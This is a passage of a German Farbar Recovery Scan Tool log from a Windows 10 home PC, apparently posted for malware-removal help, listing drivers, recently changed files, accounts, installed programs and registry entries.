R3 RadioShim; C:\WINDOWS\System32\drivers\RadioShim.sys [25368 2018-05-15] (Acer Incorporated -> Acer Incorporated)
S3 ssudmdm; C:\WINDOWS\system32\DRIVERS\ssudmdm.sys [167280 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 ss_conn_usb_driver2; C:\WINDOWS\System32\Drivers\ss_conn_usb_driver2.sys [43376 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 WdBoot; C:\WINDOWS\system32\drivers\WdBoot.sys [46688 2019-12-07] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation)
S3 WdFilter; C:\WINDOWS\system32\drivers\WdFilter.sys [350136 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
S3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [54200 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2021-04-13 22:01 - 2021-04-13 22:01 - 000198248 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\farflt.sys
2021-04-13 22:01 - 2021-04-13 22:01 - 000157944 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mwac.sys
2021-04-13 22:01 - 2021-04-13 22:01 - 000077496 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbam.sys
2021-04-13 21:50 - 2021-04-13 21:50 - 000220752 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MbamChameleon.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000248992 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamswissarmy.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000199128 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbae64.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000019912 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MbamElam.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000002037 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes.lnk
2021-04-13 21:46 - 2021-04-13 21:46 - 000002025 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2021-04-13 21:46 - 2021-04-13 21:46 - 000002025 _____ C:\ProgramData\Desktop\Malwarebytes.lnk
2021-04-13 21:46 - 2021-04-13 21:46 - 000000000 ____D C:\Users\Jules\AppData\Local\mbam
2021-04-13 21:46 - 2021-04-13 21:46 - 000000000 ____D C:\ProgramData\Malwarebytes
2021-04-13 21:46 - 2021-04-13 21:46 - 000000000 ____D C:\Program Files\Malwarebytes
2021-04-13 17:14 - 2021-04-13 17:14 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Greenshot
2021-04-13 17:14 - 2021-04-13 17:14 - 000000000 ____D C:\Users\Jules\AppData\Local\Greenshot
2021-04-13 17:14 - 2021-04-13 17:14 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Greenshot
2021-04-13 16:23 - 2021-04-13 22:11 - 000000000 ____D C:\FRST
2021-04-13 14:37 - 2021-04-13 14:37 - 000000838 _____ C:\Users\Jules\bicmmc.lnk
2021-04-07 12:48 - 2021-04-13 21:49 - 000000000 ____D C:\Program Files (x86)\Microsoft OneDrive
2021-04-07 12:48 - 2021-04-10 10:26 - 000003206 _____ C:\WINDOWS\system32\Tasks\OneDrive Per-Machine Standalone Update Task
2021-04-07 12:48 - 2021-04-10 10:26 - 000002194 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2021-04-07 12:48 - 2021-04-07 12:48 - 000000000 ___RD C:\Users\Default\OneDrive
2021-04-02 11:55 - 2021-04-02 11:55 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-stable.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-dev.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-canary.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000044272 _____ (Dropbox, Inc.) C:\WINDOWS\system32\DbxSvc.exe
2021-03-28 22:46 - 2021-03-28 22:46 - 000000000 ____D C:\WINDOWS\system32\Tasks\Mozilla
2021-03-27 12:16 - 2021-04-13 21:49 - 000000000 ____D C:\Program Files (x86)\Mozilla Firefox
2021-03-14 22:53 - 2021-03-14 22:53 - 002755584 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.tlb
2021-03-14 22:53 - 2021-03-14 22:53 - 002755584 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.tlb
2021-03-14 22:53 - 2021-03-14 22:53 - 001822272 _____ (Microsoft Corporation) C:\WINDOWS\system32\winload.efi
2021-03-14 22:53 - 2021-03-14 22:53 - 001394024 _____ (Microsoft Corporation) C:\WINDOWS\system32\winresume.efi
2021-03-14 22:53 - 2021-03-14 22:53 - 001314128 _____ (Microsoft Corporation) C:\WINDOWS\system32\SecConfig.efi
2021-03-14 22:53 - 2021-03-14 22:53 - 001163776 _____ C:\WINDOWS\system32\MBR2GPT.EXE
2021-03-14 22:53 - 2021-03-14 22:53 - 000611952 _____ C:\WINDOWS\SysWOW64\TextShaping.dll
2021-03-14 22:53 - 2021-03-14 22:53 - 000011359 _____ C:\WINDOWS\system32\DrtmAuthTxt.wim
2021-03-14 22:52 - 2021-03-14 22:52 - 000707016 _____ C:\WINDOWS\system32\TextShaping.dll
2021-03-14 22:52 - 2021-03-14 22:52 - 000231248 _____ C:\WINDOWS\system32\containerdevicemanagement.dll
2021-03-14 22:52 - 2021-03-14 22:52 - 000091136 _____ C:\WINDOWS\system32\Drivers\cimfs.sys
==================== Ein Monat (geänderte) ==================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2021-04-13 22:01 - 2019-12-07 11:14 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2021-04-13 21:57 - 2020-08-10 21:21 - 001723002 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2021-04-13 21:57 - 2019-12-07 16:50 - 000744968 _____ C:\WINDOWS\system32\perfh007.dat
2021-04-13 21:57 - 2019-12-07 16:50 - 000150354 _____ C:\WINDOWS\system32\perfc007.dat
2021-04-13 21:57 - 2019-12-07 11:13 - 000000000 ____D C:\WINDOWS\INF
2021-04-13 21:55 - 2017-08-05 15:42 - 000000000 ____D C:\Program Files\Emsisoft Anti-Malware
2021-04-13 21:52 - 2020-08-10 21:25 - 000003508 _____ C:\WINDOWS\system32\Tasks\DashlaneUpgradeCheck
2021-04-13 21:51 - 2019-02-10 01:45 - 000000000 ____D C:\ProgramData\Mozilla
2021-04-13 21:50 - 2020-08-10 21:25 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2021-04-13 21:50 - 2020-08-10 21:18 - 000008192 ___SH C:\DumpStack.log.tmp
2021-04-13 21:50 - 2017-06-13 07:41 - 000000000 ____D C:\ProgramData\NVIDIA
2021-04-13 21:50 - 2017-02-25 17:57 - 000000000 ____D C:\Users\Jules\AppData\LocalLow\Mozilla
2021-04-13 21:50 - 2017-02-25 10:48 - 000000000 ___RD C:\Users\Jules\OneDrive
2021-04-13 21:50 - 2017-02-25 10:45 - 000000000 __SHD C:\Users\Jules\IntelGraphicsProfiles
2021-04-13 21:49 - 2019-12-07 11:03 - 001048576 _____ C:\WINDOWS\system32\config\BBI
2021-04-13 21:49 - 2017-04-02 19:18 - 000000000 ____D C:\Users\Jules\AppData\LocalLow\Temp
2021-04-13 21:49 - 2016-12-27 13:07 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2021-04-13 21:46 - 2019-12-07 11:14 - 000000000 ___HD C:\WINDOWS\ELAMBKUP
2021-04-13 20:44 - 2020-08-10 21:18 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2021-04-13 17:50 - 2017-11-02 05:50 - 000000000 ____D C:\Users\Jules\AppData\Local\Packages
2021-04-13 16:13 - 2020-08-10 21:18 - 000000000 ____D C:\Users\Jules
2021-04-13 12:33 - 2017-02-26 11:13 - 000000000 ____D C:\Users\Jules\AppData\Local\Battle.net
2021-04-12 22:32 - 2020-08-10 21:25 - 000003700 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2021-04-12 22:32 - 2020-08-10 21:25 - 000003576 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore
2021-04-10 10:26 - 2020-06-28 22:55 - 000002423 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2021-04-10 10:26 - 2019-12-07 11:14 - 000000000 ___HD C:\Program Files\WindowsApps
2021-04-10 10:26 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\AppReadiness
2021-04-08 23:34 - 2019-12-16 19:26 - 000000000 ____D C:\ProgramData\Origin
2021-04-08 08:10 - 2016-12-27 11:54 - 000000000 ____D C:\Program Files (x86)\Microsoft Office
2021-04-07 12:57 - 2018-09-14 00:14 - 000000000 ____D C:\Users\Jules\AppData\Local\PlaceholderTileLogoFolder
2021-04-02 11:55 - 2020-06-12 21:21 - 000000000 ____D C:\Program Files (x86)\Dropbox
2021-03-31 01:17 - 2019-09-01 16:45 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Sky Go
2021-03-28 22:46 - 2016-12-27 13:07 - 000001236 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2021-03-27 12:21 - 2020-12-22 20:03 - 000000000 ____D C:\Users\Jules\AppData\Roaming\WhatsApp
2021-03-27 12:21 - 2020-12-22 20:03 - 000000000 ____D C:\Users\Jules\AppData\Local\WhatsApp
2021-03-17 07:57 - 2017-02-26 11:50 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Spotify
2021-03-17 07:57 - 2017-02-26 11:50 - 000000000 ____D C:\Users\Jules\AppData\Local\Spotify
2021-03-14 23:10 - 2020-08-10 21:18 - 000527456 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ___RD C:\WINDOWS\ImmersiveControlPanel
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SysWOW64\setup
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SysWOW64\oobe
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SysWOW64\Dism
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SystemResources
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\WinBioPlugIns
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\SystemResetPlatform
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\setup
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\oobe
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\Dism
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\Provisioning
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\PolicyDefinitions
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\bcastdvr
2021-03-14 22:56 - 2019-12-07 11:03 - 000000000 ____D C:\WINDOWS\CbsTemp
==================== SigCheck ============================
(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
==================== Ende von FRST.txt ========================
Code:
ATTFilter Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 11-04-2021 durchgeführt von Jules (13-04-2021 22:12:56) Gestartet von D:\Downloads Windows 10 Home Version 2004 19041.867 (X64) (2020-08-10 19:25:37) Start-Modus: Normal ========================================================== ==================== Konten: ============================= Administrator (S-1-5-21-3625877240-3343899472-1711248771-500 - Administrator - Disabled) DefaultAccount (S-1-5-21-3625877240-3343899472-1711248771-503 - Limited - Disabled) Gast (S-1-5-21-3625877240-3343899472-1711248771-501 - Limited - Disabled) Jules (S-1-5-21-3625877240-3343899472-1711248771-1001 - Administrator - Enabled) => C:\Users\Jules WDAGUtilityAccount (S-1-5-21-3625877240-3343899472-1711248771-504 - Limited - Disabled) ==================== Sicherheits-Center ======================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) AV: Emsisoft Anti-Malware Home (Enabled - Up to date) {5FD8BF8F-F242-6153-61B5-8FF333E8736B} AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B} AS: Emsisoft Anti-Malware (Enabled - Up to date) {E4B95E6B-D478-6EDD-5B05-B481486F39D6} AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Installierte Programme ====================== (Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.) abFiles (HKLM-x32\...\{13885028-098C-4799-9B71-27DAC96502D5}) (Version: 2.07.2004 - Acer Incorporated) abPhoto (HKLM-x32\...\{B5AD89F2-03D3-4206-8487-018298007DD0}) (Version: 4.00.2001.1 - Acer Incorporated) Acer Care Center (HKLM\...\{1AF41E84-3408-499A-8C93-8891F0612719}) (Version: 2.00.3024 - Acer Incorporated) Acer Configuration Manager (HKLM-x32\...\{414D554E-4453-454E-0201-000000016258}) (Version: 2.1.16258 - Acer) Acer Jumpstart (HKLM-x32\...\{4B92BFBE-917D-4FA1-97E9-DB9D91286E90}) (Version: 3.0.18135.100 - Acer) Acer Portal (HKLM-x32\...\{A5AD0B17-F34D-49BE-A157-C8B3D52ACD13}) (Version: 3.12.2006 - Acer Incorporated) Acer Quick Access (HKLM\...\{8BBF04F1-C68A-441C-B5EF-446EE9960EAF}) (Version: 2.01.3007 - Acer Incorporated) Acer UEIP Framework (HKLM\...\{12A718F2-2357-4D41-9E1F-18583A4745F7}) (Version: 3.02.3001 - Acer Incorporated) Adobe Acrobat Reader DC - Deutsch (HKLM-x32\...\{AC76BA86-7AD7-1031-7B44-AC0F074E4100}) (Version: 21.001.20145 - Adobe Systems Incorporated) Anno 1800 (HKLM-x32\...\Uplay Install 4553) (Version: - Ubisoft) ANNO 2070 (HKLM-x32\...\{B48E264C-C8CD-4617-B0BE-46E977BAD694}) (Version: 1.0.0.0 - Ubisoft) AOP Framework (HKLM-x32\...\{4A37A114-702F-4055-A4B6-16571D4A5353}) (Version: 3.25.2001.0 - Acer Incorporated) Battle.net (HKLM-x32\...\Battle.net) (Version: - Blizzard Entertainment) Bethesda.net Launcher (HKLM-x32\...\{3448917E-E4FE-4E30-9502-9FD52EABB6F5}_is1) (Version: 1.47.11 - Bethesda Softworks) Dashlane Upgrade Service (HKLM-x32\...\Dashlane Upgrade Service) (Version: 2.1.17.0 - Dashlane, Inc.) Dell Peripheral Manager (HKLM\...\Dell Peripheral Manager) (Version: 1.3.0 - Dell Inc.) Diablo III (HKLM-x32\...\Diablo III) (Version: - Blizzard Entertainment) Discord (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Discord) (Version: 0.0.306 - Discord Inc.) DriverSetupUtility (HKLM\...\{2B51C83A-465D-4EA9-9CDC-1ED95ED09AC6}) (Version: 1.00.3015 - Acer Incorporated) Dropbox (HKLM-x32\...\Dropbox) (Version: 119.4.1772 - Dropbox, Inc.) Dropbox Update Helper (HKLM-x32\...\{099218A5-A723-43DC-8DB5-6173656A1E94}) (Version: 1.3.415.1 - Dropbox, Inc.) Hidden Emsisoft Anti-Malware (HKLM\...\{5502032C-88C1-4303-99FE-B5CBD7684CEA}_is1) (Version: 2017.7 - Emsisoft Ltd.) Epic Games Launcher (HKLM-x32\...\{9543ED52-29C3-46E1-9DF1-87609025150B}) (Version: 1.1.229.0 - Epic Games, Inc.) Epic Games Launcher Prerequisites (x64) (HKLM\...\{F9C5C994-F6B9-4D75-B3E7-AD01B84073E9}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Greenshot 1.2.10.6 (HKLM\...\Greenshot_is1) (Version: 1.2.10.6 - Greenshot) Hearthstone (HKLM-x32\...\Hearthstone) (Version: - Blizzard Entertainment) Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.5.0.1015 - Intel Corporation) Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4534 - Intel Corporation) Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.0.0.1039 - Intel Corporation) Intel(R) Serial IO (HKLM\...\{9FD91C5C-44AE-4D9D-85BE-AE52816B0294}) (Version: 30.63.1620.3 - Intel Corporation) Intel® Chipsatz-Gerätesoftware (HKLM-x32\...\{61a0f1f5-c77e-4992-ba85-029f93cd8d18}) (Version: 10.1.1.27 - Intel(R) Corporation) Hidden Intel® Security Assist (HKLM-x32\...\{8B08DDA1-FDE7-4897-8EB6-E0B048A6D88B}) (Version: 1.0.1.618 - Intel Corporation) Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Launcher Prerequisites (x64) (HKLM-x32\...\{c6c5a357-c7ca-4a5f-9789-3bb1af579253}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden LibreOffice 5.3.2.2 (HKLM\...\{682C33C0-5D61-48F0-B0A2-1A504F4C5905}) (Version: 5.3.2.2 - The Document Foundation) Malwarebytes version 4.3.0.98 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 4.3.0.98 - Malwarebytes) Microsoft 365 - de-de (HKLM\...\O365HomePremRetail - de-de) (Version: 16.0.13901.20336 - Microsoft Corporation) Microsoft ASP.NET MVC 4 Runtime (HKLM-x32\...\{3FE312D5-B862-40CE-8E4E-A6D8ABF62736}) (Version: 4.0.40804.0 - Microsoft Corporation) Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 89.0.774.75 - Microsoft Corporation) Microsoft Edge WebView2-Laufzeit (HKLM-x32\...\Microsoft EdgeWebView) (Version: 89.0.774.75 - Microsoft Corporation) Microsoft OneDrive (HKLM-x32\...\OneDriveSetup.exe) (Version: 21.052.0314.0001 - Microsoft Corporation) Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50918.0 - Microsoft Corporation) Microsoft Update Health Tools (HKLM\...\{99FAF70F-9B61-4AB0-9EC0-B31F98FFDC4A}) (Version: 2.75.0.0 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 (HKLM-x32\...\{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}) (Version: 9.0.21022 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation) Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.22.27821 (HKLM-x32\...\{6361b579-2795-4886-b2a8-53d5239b6452}) (Version: 14.22.27821.0 - Microsoft Corporation) Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.22.27821 (HKLM-x32\...\{5bfc1380-fd35-4b85-9715-7351535d077e}) (Version: 14.22.27821.0 - Microsoft Corporation) Mozilla Firefox 87.0 (x64 de) (HKLM\...\Mozilla Firefox 87.0 (x64 de)) (Version: 87.0 - Mozilla) Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 87.0.0.7747 - Mozilla) Mozilla Thunderbird 45.8.0 (x86 de) (HKLM-x32\...\Mozilla Thunderbird 45.8.0 (x86 de)) (Version: 45.8.0 - Mozilla) Mozilla Thunderbird 78.9.0 (x86 de) (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Mozilla Thunderbird 78.9.0 (x86 de)) (Version: 78.9.0 - Mozilla) NVIDIA GeForce Experience 2.11.4.1 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 2.11.4.1 - NVIDIA Corporation) NVIDIA PhysX-Systemsoftware 9.15.0428 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.15.0428 - NVIDIA Corporation) Office 16 Click-to-Run Extensibility Component (HKLM-x32\...\{90160000-008C-0000-0000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Extensibility Component 64-bit Registration (HKLM\...\{90160000-00DD-0000-1000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-008F-0000-1000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM-x32\...\{90160000-008C-0407-0000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Origin (HKLM-x32\...\Origin) (Version: 10.5.96.47512 - Electronic Arts, Inc.) Overwatch (HKLM-x32\...\Overwatch) (Version: - Blizzard Entertainment) PDF Architect 7 (HKLM-x32\...\PDF Architect 7) (Version: 7.0.24.1546 - pdfforge GmbH) PDF Architect 7 Create Module (HKLM\...\{B600CC13-8F68-4D44-8867-93490894FAE5}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDF Architect 7 Edit Module (HKLM\...\{BA2C2671-B379-4101-A21C-4C549671FC8D}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDF Architect 7 View Module (HKLM\...\{E947A304-6110-4CFE-98AD-E6909072E87D}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDFsam Basic (HKLM\...\{7784962D-70CC-4C26-B020-FF05D4280846}) (Version: 4.2.2.0 - Sober Lemur S.a.s. di Vacondio Andrea) Qualcomm Atheros 11ac Wireless LAN Installer (HKLM-x32\...\{20CA507E-24AA-4741-87CF-CC1B250790B7}) (Version: 11.0.10299 - Qualcomm Atheros) Qualcomm Atheros Bluetooth Installer (64) (HKLM\...\{628988B4-3FA5-4EA6-BAA3-DA640F6718BD}) (Version: 10.0.0.191 - Qualcomm Atheros) RAGE 2 (HKLM-x32\...\RAGE 2) (Version: - Bethesda Softworks) Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.10586.21287 - Realtek Semiconduct Corp.) Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.6.1001.2015 - Realtek) Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7836 - Realtek Semiconductor Corp.) Rockstar Games Launcher (HKLM-x32\...\Rockstar Games Launcher) (Version: 1.0.33.319 - Rockstar Games) Rockstar Games Social Club (HKLM-x32\...\Rockstar Games Social Club) (Version: 2.0.7.5 - Rockstar Games) Sky Go 21.2.2.0 (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\com.bskyb.skygoplayer_is1) (Version: 21.2.2.0 - Sky) Spotify (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Spotify) (Version: 1.1.53.608.g7ed9c03a - Spotify AB) Spotify Weblink (HKLM-x32\...\{8CADF0CB-E834-4019-9B11-B84E051F2A8E}) (Version: 1.16.1210 - Acer) STAR WARS Jedi - Fallen Order™ (HKLM-x32\...\{D00A89F1-2D8C-4589-B1D1-73A6544E3B1F}) (Version: 1.0.9.0 - Electronic Arts, Inc.) Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation) Ubisoft Connect (HKLM-x32\...\Uplay) (Version: 28.1 - Ubisoft) Update for Windows 10 for x64-based Systems (KB4023057) (HKLM\...\{16AD6161-2E47-4BF1-AA77-0946EFE93E08}) (Version: 2.61.0.0 - Microsoft Corporation) Vulkan Run Time Libraries 1.0.26.0 (HKLM\...\VulkanRT1.0.26.0) (Version: 1.0.26.0 - LunarG, Inc.) WhatsApp (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\WhatsApp) (Version: 2.2102.9 - WhatsApp) Windows 10-Upgrade-Assistent (HKLM-x32\...\{D5C69738-B486-402E-85AC-2456D98A64E4}) (Version: 1.4.9200.17376 - Microsoft Corporation) Packages: ========= Facebook -> C:\Program Files\WindowsApps\Facebook.Facebook_186.2619.19263.0_x86__8xx8rvfyw5nnt [2019-10-24] (Facebook Inc) Media Engine-Add-On für Fotos -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2019-12-30] (Microsoft Corporation) Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2019-02-12] (Microsoft Corporation) [MS Ad] Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2019-02-12] (Microsoft Corporation) [MS Ad] Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.7.10142.0_x64__8wekyb3d8bbwe [2020-10-25] (Microsoft Studios) [MS Ad] MSN Sport -> C:\Program Files\WindowsApps\Microsoft.BingSports_4.36.20714.0_x64__8wekyb3d8bbwe [2020-03-26] (Microsoft Corporation) [MS Ad] Netflix -> C:\Program Files\WindowsApps\4DF9E0F8.Netflix_6.97.752.0_x64__mcm4njqhnhss8 [2020-07-17] (Netflix, Inc.) Twitter -> C:\Program Files\WindowsApps\9E2F88E3.Twitter_6.1.4.1000_neutral__wgeqdkkx372wm [2018-11-21] (Twitter Inc.) ==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ============== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}\localserver32 -> "C:\Users\Jules\AppData\Local\Microsoft\OneDrive\21.030.0211.0002\Microsoft.Nucleus.exe" => Keine Datei CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\localserver32 -> "C:\Users\Jules\AppData\Local\Microsoft\OneDrive\21.030.0211.0002\Microsoft.Nucleus.exe" => Keine Datei CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{E31EA727-12ED-4702-820C-4B6445F28E1A} -> [Dropbox] => C:\Users\Jules\Dropbox [2020-06-12 21:23] ShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft 